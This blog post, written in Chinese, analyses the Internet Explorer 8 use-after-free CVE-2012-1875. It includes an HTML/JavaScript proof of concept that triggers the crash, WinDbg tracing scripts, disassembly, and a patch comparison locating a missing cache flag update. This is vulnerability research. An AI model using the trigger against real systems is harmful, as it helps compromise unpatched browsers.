CVE-2012-1875 UAF Analysis

Intro

大牛ga1ois在《关于泄漏的艺术》一文中提到CVE-2012-1875是一个可以从脚本层面直接访问的UAF。以前没分析过这种类型的UAF,这两天趁着年后不忙看了一下漏洞成因。

POC

POC来自看雪,按照惯例添加了一些代码方便跟踪整个过程:

<HTML>
<DIV id=testfaild>
  <img id="imgTest">
  <div id="imgTest"></div>
  <input id="4B5F5F4B" onMouseOver="crash();"></input>
</DIV>
<script language="JavaScript">
function crash() {
  Math.atan2(0xbabe, "[*] calling crash...");
  eval("imgTest").src = "";
  Math.atan2(0xbabe, "[*] after set imgTest...");
}
function trigger() {
  var x =document.getElementsByTagName("input");
  Math.atan2(0xbabe, "[*] fireEvent onMouseOver 1st...");
  x[0].fireEvent("onMouseOver");
  Math.atan2(0xbabe, "[*] Before free object...");
  testfaild.innerHTML = testfaild.innerHTML;
  Math.atan2(0xbabe, "[*] After free object...");
  Math.atan2(0xbabe, "[*] fireEvent onMouseOver 2nd...");
  x[0].fireEvent("onMouseOver");
}
trigger();
</script>
</HTML>

调试的IE版本:

文件名:mshtml.dll
文件版本:8.00.6001.18702
MD5:D469A0EBA2EF5C6BEE8065B7E3196E5E
SHA1:FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440

崩溃信息

打开POC之后崩溃信息如下:

0:004> g
(624.c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00800008 ebx=00000000 ecx=001cbd68 edx=00000001 esi=001cbd68 edi=02deb980
eip=6363fcc6 esp=02deb918 ebp=02deb924 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x2:
6363fcc6 8b5070          mov     edx,dword ptr [eax+70h] ds:0023:00800078=????????
0:012> kv
ChildEBP RetAddr  Args to Child
02deb914 63660eed 80020003 001cbd68 02deb934 mshtml!CElement::Doc+0x2 (FPO: [0,0,0])
02deb924 63660f5a 00000000 00000348 02deb988 mshtml!CElement::GetAtomTable+0x10
02deb934 635b6bb7 038f2cf0 00000003 001cbd01 mshtml!CCollectionCache::GetAtomFromName+0x15
02deb988 635e7b76 002259e8 038f2cf0 00000003 mshtml!CCollectionCache::GetIntoAry+0x74
02deb9cc 635e7c20 0000000e 038f2cf0 02debab8 mshtml!CCollectionCache::GetDispID+0x13e

看起来是某个CElement(实际上是CImgElement,后文会提到)的UAF。根据栈中的调用信息,发现这个CElement来自下面的代码:

.text:635E7AA0 048                 mov     eax, [edi]
.text:635E7AA2 048                 mov     ecx, edi
.text:635E7AA4 048                 call    dword ptr [eax+8] ; CElementAryCacheItem::MoveTo(long)
.text:635E7AA7 044                 mov     eax, [edi]      ; edi = 6363b284
.text:635E7AA7                                             ; CElementAryCacheItem::`vftable'
.text:635E7AA9 044                 mov     ecx, edi
.text:635E7AAB 044                 call    dword ptr [eax+4] ; CElementAryCacheItem::GetNext
.text:635E7AAE 044                 mov     ebx, eax
.text:635E7AB0 044                 test    ebx, ebx
.text:635E7AB2 044                 jnz     loc_635B6B9B
.text:635B6B9B 044                 or      [ebp+var_8], 0FFFFFFFFh
.text:635B6B9F 044                 cmp     [ebp+arg_14], 0
.text:635B6BA3 044                 lea     edi, [ebp+var_8]
.text:635B6BA6 044                 setnz   al
.text:635B6BA9 044                 mov     ecx, ebx        ; ebx = the object from cache.
.text:635B6BAB 044                 push    eax
.text:635B6BAC 048                 push    [ebp+arg_8]
.text:635B6BAF 04C                 push    [ebp+arg_4]
.text:635B6BB2 050                 call    ?GetAtomFromName@CCollectionCache@@CGJPAVCElement@@PBGI_NPAJ@Z

635E7AA4的CElementAryCacheItem::MoveTo以及635E7AAB的CElementAryCacheItem::GetNext是通过调试得到的。可以看到,这个CElement保存在一个类型为CElementAryCacheItem的对象里。

CElementAryCacheItem&CImplPtrAry

根据调试分析,在这个版本的IE中,CElementAryCacheItem的虚表地址是6363b284:

.text:6363B284     ??_7CElementAryCacheItem@@6B@ dd offset ??_ECElementAryCacheItem@@UAEPAXI@Z
.text:6363B284           ; DATA XREF: CElementAryCacheItem::CElementAryCacheItem(void)+3o
.text:6363B284           ; CCollectionCache::GetDisp(long,ushort const *,uint,CollCacheType,IDispatch * *,int,tagRECT *,int)+19o ...
.text:6363B284           ; CElementAryCacheItem::`vector deleting destructor'(uint)
.text:6363B288    dd offset ?GetNext@CElementAryCacheItem@@UAEPAVCElement@@XZ ; CElementAryCacheItem::GetNext(void)
.text:6363B28C    dd offset ?MoveTo@CElementAryCacheItem@@UAEPAVCElement@@J@Z ; CElementAryCacheItem::MoveTo(long)
.text:6363B290    dd offset ?UnBind@CCursorConsumer@@UAEJXZ ; CCursorConsumer::UnBind(void)
.text:6363B294    dd offset ?ResetContents@CElementAryCacheItem@@UAEXXZ ; CElementAryCacheItem::ResetContents(void)
.text:6363B298    dd offset ?DeleteContents@CElementAryCacheItem@@UAEXXZ ; CElementAryCacheItem::DeleteContents(void)
.text:6363B29C    dd offset ?Length@CElementAryCacheItem@@UAEJXZ ; CElementAryCacheItem::Length(void)
.text:6363B2A0    dd offset ?GetAt@CElementAryCacheItem@@UAEPAVCElement@@J@Z ; CElementAryCacheItem::GetAt(long)
.text:6363B2A4    dd offset ?InsertElementAt@CElementAryCacheItem@@UAEJJPAVCElement@@@Z ; CElementAryCacheItem::InsertElementAt(long,CElement *)
.text:6363B2A8    dd offset ?AppendElement@CElementAryCacheItem@@UAEJPAVCElement@@@Z ; CElementAryCacheItem::AppendElement(CElement *)
.text:6363B2AC    dd offset ?DeleteAt@CElementAryCacheItem@@UAEXJ@Z ; CElementAryCacheItem::DeleteAt(long)

显然这有点像一个vector。通过进一步的分析,发现是CImplPtrAry的一个子类,对象中部分偏移所代表的含义如下:

+4    当前数组的大小,32bit系统除以4等于对象的个数。
+8    当前数组的capacity,Append的时候如果超过这个大小,会重新分配一个空间。
+14   当前数组的Buffer,Append的对象的指针会保存在这里。

如此看来,这个UAF的原因是某个CElement被保存在一个CElementAryCacheItem对象里,但这个CElement被释放之后,并没有从这个数组中移除,之后的代码直接取出对象并使用,导致UAF。
因此,通过监视CElementAryCacheItem添加和删除对象的情况,可以得知是哪一个CElementAryCacheItem对象以及哪一个CElement出的问题。经过测试,IE中只使用了CElementAryCacheItem::AppendElement(CElement *)进行添加对象,CElementAryCacheItem创建之初并没有分配Buffer,而是在第一次Append的时候分配空间,之后每一次Append会检查是否超过了当前的容量,如果超过则分配新的空间,然后复制原始数据,并且Append新的对象,最后释放掉旧的空间,这一点上很像vector;释放的时候使用的是CElementAryCacheItem::ResetContents(void),ResetContents只是重置了个数,并没有清除掉数组Buffer中的内容。

对象跟踪

需要说明的是,通过调试可以发现,那个UAF的CElement对象实际上的类型是CImgElement,是CElement的子类。最初我是通过CElement::CElement以及CElement::~CElement进行监视,这样的Log比较多,后来通过KK的文章以及调试,确定了对象是CImgElement,所以,用于监视的WinDbg脚本应该是这样的:

bc *
bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"
bu CImgElement::CImgElement ".printf \"[*] CImgElement created: %p\", eax;.echo;g"
bu CElement::~CElement ".printf \"[*] CElement freed: %p\", ecx;.echo;g"
bu CElementAryCacheItem::AppendElement ".printf \"[*] Append %08x to %08x\", poi(esp+4), ecx;.echo;g"
bu CElementAryCacheItem::ResetContents ".printf \"[*] Reset %p\", ecx;.echo;g"

分段列出Log,便于分析:

[*] CImgElement created: 00215ae8
[*] Reset 0021b990
[*] Reset 0021b9c0
[*] Reset 00225d08
[*] Reset 00225d38
[*] Reset 00225d68
[*] Reset 00225d98
[*] Reset 00225dc8
[*] Reset 00226950
[*] Reset 00226980
[*] Reset 002269b0
[*] Reset 002269e0
[*] Reset 00226a10
[*] Append 001fca38 to 00226950
[*] Append 00215ae8 to 00226950
[*] Append 00215ae8 to 00225d38
[*] Append 0021aad0 to 00226950
[*] Append 002263c0 to 00226950
[*] Append 0021f818 to 00225d98
[*] Reset 02deee60
[*] Append 002263c0 to 02deee60
[*] fireEvent onMouseOver 1st...

上述代码是执行x[0].fireEvent(“onMouseOver”);前的Log,可以看到,创建的CImgElement对象是00215ae8,被插入到了00226950和00225d38两个CElementAryCacheItem中。

[*] calling crash...
[*] Reset 02de91a0
[*] Append 00215ae8 to 02de91a0
[*] Append 0021aad0 to 02de91a0
[*] after set imgTest...

这里是触发onMouseOver后执行crash函数中的Log,可以看到CImgElement对象00215ae8被加入到了02de91a0这个CElementAryCacheItem中。

[*] Before free object...
[*] Reset 02decd98
[*] Append 001fca38 to 02decd98
[*] Reset 02decd98
[*] Append 001fca38 to 02decd98
[*] CImgElement created: 00232a80
[*] CElement freed: 03fb9fc0
[*] CElement freed: 0021aad0
[*] CElement freed: 00215ae8
[*] CElement freed: 002328e8
[*] CElement freed: 00200ab8
[*] CElement freed: 00200a78
[*] CElement freed: 00232868
[*] CElement freed: 001fe368
[*] After free object...

这一段是执行testfaild.innerHTML = testfaild.innerHTML;时的Log,KK的文章中说这一段代码会导致对象被释放并且重新创建,这个Log展示的和描述相符。其中,CImgElement对象00215ae8已经被释放。

现在,00215ae8被加入到了三个CElementAryCacheItem中,分别是00226950、00225d38以及02de91a0,通过最后一段日志,可以看到发生问题的:

[*] fireEvent onMouseOver 2nd...
[*] Reset 00225d38
[*] Reset 00226950
[*] Append 001fca38 to 00226950
[*] Append 00232a80 to 00226950
[*] Append 00232a80 to 00225d38
[*] Append 00232c20 to 00226950
[*] Append 00232d90 to 00226950
[*] calling crash...
(624.c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00215ae8 edx=01800000 esi=00215ae8 edi=02dec3e8
eip=6363fccb esp=02dec380 ebp=02dec38c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc+0x7:
6363fccb 8b400c          mov     eax,dword ptr [eax+0Ch] ds:0023:0000000c=????????

可以看到,出问题的对象确实是00215ae8的那个CImgElement,而由于00225d38和00226950已经reset。所以,目前可以确定,第一次进入crash函数的时候创建的CElementAryCacheItem中残留了已经释放的CImgElement。

另一个CElementAryCacheItem

然而,实际情况有些不太一样。我尝试着调试crash函数中的Append相关的代码,发现被Append到这个CElementAryCacheItem中的元素,是HTML代码中包含了相同名字的元素,在上一层代码,也就是CCollectionCache::BuildNamedArray函数中,会遍历另外一个CElementAryCacheItem,然后进行比较Id,只有Id为imgTest才会被Append。CCollectionCache::BuildNamedArray完毕之后,会返回CCollectionCache::GetDisp,然后执行到这个地方:

.text:635C4438 014                 mov     edi, [ebp+8]
.text:635C443B 014                 lea     eax, [esp+14h]  ;
.text:635C443B                                             ; eax = local
.text:635C443F 014                 push    eax
.text:635C4440 018                 mov     eax, edi
.text:635C4442 018                 call    ?GetFreeIndex@CCollectionCache@@AAEJPAJ@Z ; CCollectionCache::GetFreeIndex(long *)
.text:635C4447 014                 cmp     eax, esi
.text:635C4449 014                 mov     [esp+10h+var_0], eax
.text:635C444D 014                 jnz     loc_63793996
.text:635C4453 014                 mov     esi, [esp+14h]
.text:635C4457 014                 push    esi
.text:635C4458 018                 push    [ebp+arg_14]
.text:635C445B 01C                 mov     eax, edi        ; after build named ptr array.
.text:635C445D 01C                 call    ?CreateCollectionHelper@CCollectionCache@@QAEJPAPAUIDispatch@@J@Z ; CCollectionCache::CreateCollectionHelper(IDispatch * *,long)
.text:635C4462 014                 test    eax, eax
.text:635C4464 014                 mov     [esp+10h+var_0], eax
.text:635C4468 014                 jnz     loc_63793996
.text:635C446E 014                 imul    esi, 3Ch
.text:635C4471 014                 add     esi, [edi+0Ch]
.text:635C4474 014                 mov     eax, esi
.text:635C4476 014                 call    ?Init@CacheItem@CCollectionCache@@QAEXXZ ; CCollectionCache::CacheItem::Init(void)
.text:635C447B 014                 push    [ebp+arg_8]     ; unsigned __int16 *
.text:635C447E 018                 lea     eax, [esi+0Ch]
.text:635C4481 018                 push    eax             ; int
.text:635C4482 01C                 call    ?Set@CStr@@QAEJPBG@Z ; CStr::Set(ushort const *)
.text:635C4487 014                 test    eax, eax
.text:635C4489 014                 mov     [esp+10h+var_0], eax
.text:635C448D 014                 jnz     loc_63793996
.text:635C4493 014                 push    18h             ; dwBytes
.text:635C4495 018                 push    8               ; dwFlags
.text:635C4497 01C                 push    _g_hProcessHeap ; hHeap
.text:635C449D 020                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)
.text:635C44A3 014                 test    eax, eax
.text:635C44A5 014                 jz      loc_637939A3
.text:635C44AB 014                 mov     ecx, eax        ; CElementAryCacheItem
.text:635C44AD 014                 call    ??0CElementAryCacheItem@@QAE@XZ ; CElementAryCacheItem::CElementAryCacheItem(void)
.text:635C44B2
.text:635C44B2     loc_635C44B2:                           ; CODE XREF: CCollectionCache::GetFreeIndex(long *)+1CF5F8j
.text:635C44B2 014                 test    eax, eax
.text:635C44B4 014                 mov     [esi+8], eax    ; save to +8 offset
.text:635C44B4                                             ; esi 是数组的某一项
.text:635C44B7 014                 jz      loc_6380BEF3
.text:635C44BD 014                 add     eax, 8          ; +8
.text:635C44C0 014                 push    0
.text:635C44C2 018                 push    eax
.text:635C44C3 01C                 lea     eax, [esp+18h+target_array]
.text:635C44C7 01C                 call    ?Copy@CImplPtrAry@@IAEJABVCImplAry@@H@Z ; CImplPtrAry::Copy(CImplAry const &,int)
.text:635C44CC 014                 mov     eax, [ebp+arg_14]

这段代码会分配一个新的CElementAryCacheItem,然后使用CImplPtrAry::Copy将之前监视到的那个CElementAryCacheItem复制到新的CElementAryCacheItem中,之前的那个只是一个局部变量。之后,这个CElementAryCacheItem会保存在CCollectionCache中。构造完毕的结构如下(由于是另外一个快照的,所以CImgElement的地址变成了001f8850,新的CElementAryCacheItem地址是001ebf50):

002248a0(CCollectionCache)
 ...
 +0c 040b9018(Array Buffer)
 ...
040b9018(Array, size 0xf*0x3c)
 +3c*0(040b9018)
 ...
 +3c*e(040b9360)
  ...
  +8 001ebf50(CElementAryCacheItem)
   +14 001ebf80(Buffer)
    +0 001f8850(CImgElement)
    +4 001d8228(CDivElement)

解释一下,CCollectionCache偏移0xC处,是一个数组的Buffer地址。这个数组元素的结构未知,这里延续KK文章中的描述,称之为CACHE_ITEMS。CACHE_ITEMS的大小是0x3C,总共有0xF个,发生UAF的元素保存在最后一项也就是下标为0xE。CACHE_ITEMS的偏移0x8处是一个CElementAryCacheItem结构,这个结构之前已经给出,偏移0x14处是数组的Buffer,里面保存着CImgElement和CDivElement,也就是001f8850和001d8228。内存Dump展示如下:

0:012> dd 002248a0 L 4
002248a0  6363332c 0000003c 00000013 040b9018
0:012> dd 040b9018 + 0xe*0x3c L 0x3c/4
040b9360  00000001 00221268 001ebf50 0022128c
040b9370  00000000 00000000 ffffffff 00000000
040b9380  00000000 00000008 00000022 00000000
040b9390  000f4240 002dc6bf 00000000
0:012> dd 001ebf50 L 8
001ebf50  6363b284 00000000 6363332c 00000008
001ebf60  00000004 001ebf80 abababab abababab
0:012> dd 001ebf80 L 4
001ebf80  001f8850 001d8228 baadf00d baadf00d

此时,可以通过硬件断点,跟踪这个CACHE_ITEMS的访问,最后可以发现,确实是这个数组中的CElementAryCacheItem被取出,进而读取里面已经释放的CImgElement。

成因分析

有了对CElementAryCacheItem的理解,以及对象释放后对三个包含了CElementAryCacheItem的观察,发现在CImgElement释放后,这些CElementAryCacheItem中依然保存着CImgElement的指针。不同的是,另外两个CElementAryCacheItem在使用前检查了某个标志,然后调用CElementAryCacheItem::ResetContents避免了UAF的发生。所以猜测这个UAF的原因是某处代码忘记调用CElementAryCacheItem::ResetContents所致。

为了证明这个观点,我企图通过调试补丁后的程序得到答案。然而,通过修改WinDbg脚本监视ResetContents并没有得到我想要的结果,在补丁后的IE中,并不会Reset那个CElementAryCacheItem::ResetContents。此时,可以确定是某处标志设置或检查不严格导致了这个UAF。

经过漫长的对比调试,得到了最终的结果。最后出现不同的代码位于此处:

.text:635C4374 014                 mov     eax, [ebx+0Ch]
.text:635C4377 014                 movsx   ecx, word ptr [eax+esi+24h]
.text:635C437C 014                 mov     edx, [eax+esi+38h] ; read edx from address
.text:635C4380 014                 imul    ecx, 3Ch
.text:635C4383 014                 cmp     edx, [ecx+eax+38h]
.text:635C4387 014                 jnz     loc_6379340A

在这里,ebx是CCollectionCache,所以eax就是CACHE_ITEMS的Buffer,而esi是0xE,也就是读取最后一个元素。此时,最后一个元素内存是这样的:

0:012> dd 040b9018 + 3c*e L 3c/4
040b9360  00000001 00221268 001ebf50 0022128c
040b9370  00000000 00000000 ffffffff 00000000
040b9380  00000000 00000008 00000022 00000000
040b9390  000f4240 002dc6bf 00000000

之后,会从CACHE_ITEMS的偏移0x24读出另外一个Index,再用这个Index去索引另外一个CACHE_ITEMS。可以看到偏移0x24处的值是8。也就是说,这里会用CACHE_ITEMS[0xE]和CACHE_ITEMS[0x8]的最后一个元素做对比。Patch前两个值的内容一样,均为0,跳转不会实现。而补丁后的值则不同,跳转不会实现。以下是在mshtml_8.00.6001.23580中得到的结果对比:

0:017> dd 02a68ce8 + 3c*8 L 3c/4
02a68ec8  00000000 00000000 0016bc50 00000000
02a68ed8  00000000 00000000 ffffffff 00000000
02a68ee8  00000000 00000000 0000000a 00000001
02a68ef8  00145856 0028b0aa 00000002
0:017> dd 02a68ce8 + 3c*e L 3c/4
02a69030  00000001 0017c8d8 0016bd50 0016bd34
02a69040  00000000 00000000 ffffffff 00000000
02a69050  00000000 00000008 00000022 00000000
02a69060  000f4240 002dc6bf 00000001

可见,两个的值不同,0x8的是2,0xE的是1。在补丁后的版本,也就是mshtml_8.00.6001.23580中,修改CACHE_ITEMS[0x8]标志位1,使得跳转失败,该POC还是会导致UAF。所以,可以确定,导致该UAF的原因是某处忘记设置了CACHE_ITEMS的标志。

有了这个地方,通过硬件断点即可找到补丁后的代码更新标志的地方:

.text:3C77389D                 loc_3C77389D:                           ; CODE XREF: CMarkup::EnsureCollections(long,long *)+21Dj
.text:3C77389D 010 C7 44 01 2C+mov     dword ptr [ecx+eax+2Ch], 1
.text:3C7738A5 010 8B 4E 0C    mov     ecx, [esi+0Ch]
.text:3C7738A8 010 8D 4C 01 38 lea     ecx, [ecx+eax+38h]
.text:3C7738AC 010 FF 01       inc     dword ptr [ecx]                 ; update flag

而使用硬件断点监视补丁前的的程序,没有看到更新这个标志的地方。

结语

Coming soon…

参考文章

发表评论